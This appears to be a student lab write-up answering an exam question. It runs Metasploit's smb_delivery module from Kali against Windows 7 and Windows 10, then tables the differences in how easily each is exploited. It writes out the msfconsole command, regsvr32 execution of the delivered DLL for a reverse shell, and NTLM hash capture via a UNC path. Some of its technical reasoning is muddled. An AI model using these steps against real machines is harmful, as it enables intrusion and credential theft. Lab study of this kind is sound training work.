# use smb dilivery on win10 and win 7 and explain it's impact/difference.[10 marks]

QUE - use smb dilivery on win10 and win 7 and explain it's impact/difference.[10 marks] ANS -

Attacker: Kali LinuxVictim PC: Windows 7

Command: msfconsole -q -x "use exploit/windows/smb/smb\_delivery; set srvhost eth0; set srvport 445; exploit"

open browser in windows ans search for \\192.168.241.128\jtJVH\test.dll

it will give ntlm hashes for windows 10

in windows 7 and windows server 2016 we have to run test.dll file manually by

Open cmd as adminstrator

Command: regsvr32 path\to\your\file.dll

Command: regsvr32 test.dll

REASON: 2016 & win 7 is it is using smb v1 and that is not used in win-10 so we got hashes not

the rev shell

## **Impact and Differences Between Windows 10 and Windows 7**

| Aspect              | Windows<br>10   | Windows<br>7   |
|---------------------|---|--|
| Securty<br>Features | Advanced security features like Windows Defender, UAC, and Credential Guard reduce the likelihood of successful exploitation. | Lacks<br>modern<br>security<br>measures,<br>making it<br>easier to<br>exploit. |
| SMB<br>Version      | SMBv1 is disabled by default; SMBv2 or SMBv3 is used, which includes encryption and signing.                                  | SMBv1 is often enabled by default, which is vulnerable to attacks.             |

| Aspect                     | Windows<br>10   | Windows<br>7   |
|----------------------------|---|--|
| Payload<br>Execution       | Requires<br>user<br>interaction<br>to bypass<br>warnings<br>(e.g., UAC<br>prompts).                         | Execution is more straightforward, often with fewer user prompts.                                |
| Detection                  | High chance of detection by security tools, logging, or monitoring systems.                                 | Lower<br>chance of<br>detection<br>due to<br>outdated<br>security<br>mechanis-<br>ms.            |
| Attack<br>Success          | Harder to exploit due to restrictions and defensive mechanisms.   | Easier to<br>exploit<br>due to<br>weaker<br>defenses.  |
| Post-<br>Exploitati-<br>on | Privilege<br>escalation<br>may<br>require<br>additional<br>steps due<br>to<br>protectio-<br>ns like<br>UAC. | Post-<br>exploitati-<br>on is<br>typically<br>smoother<br>with<br>administr-<br>ative<br>rights. |

# **Key Differences in Impact**

## 1. Ease of Exploitation:

• Windows 7 systems are much easier to exploit due to the lack of modern SMB protocol security and the common presence of SMBv1.

• Windows 10 is more resilient with stronger defenses, making exploitation more challenging.

#### Payload Detection:

- Windows 10 often flags or blocks malicious payloads with built-in antivirus and behavioral analysis.
- Windows 7 has minimal or no active defenses against payload delivery.

### • Real-World Implications:

- Windows 7 is a high-value target for attackers due to outdated security, especially in legacy systems.
- Windows 10 systems require advanced evasion techniques to bypass modern defenses.

#### **Conclusion**

- **Windows 10**: Exploitation is difficult but possible with careful evasion techniques. Attackers need to bypass UAC and leverage vulnerabilities in SMBv2 or SMBv3.
- **Windows 7**: Exploitation is relatively straightforward, often succeeding due to SMBv1 and weak security.

Understanding these differences allows attackers and defenders to assess risks and prioritize securing legacy systems like Windows 7.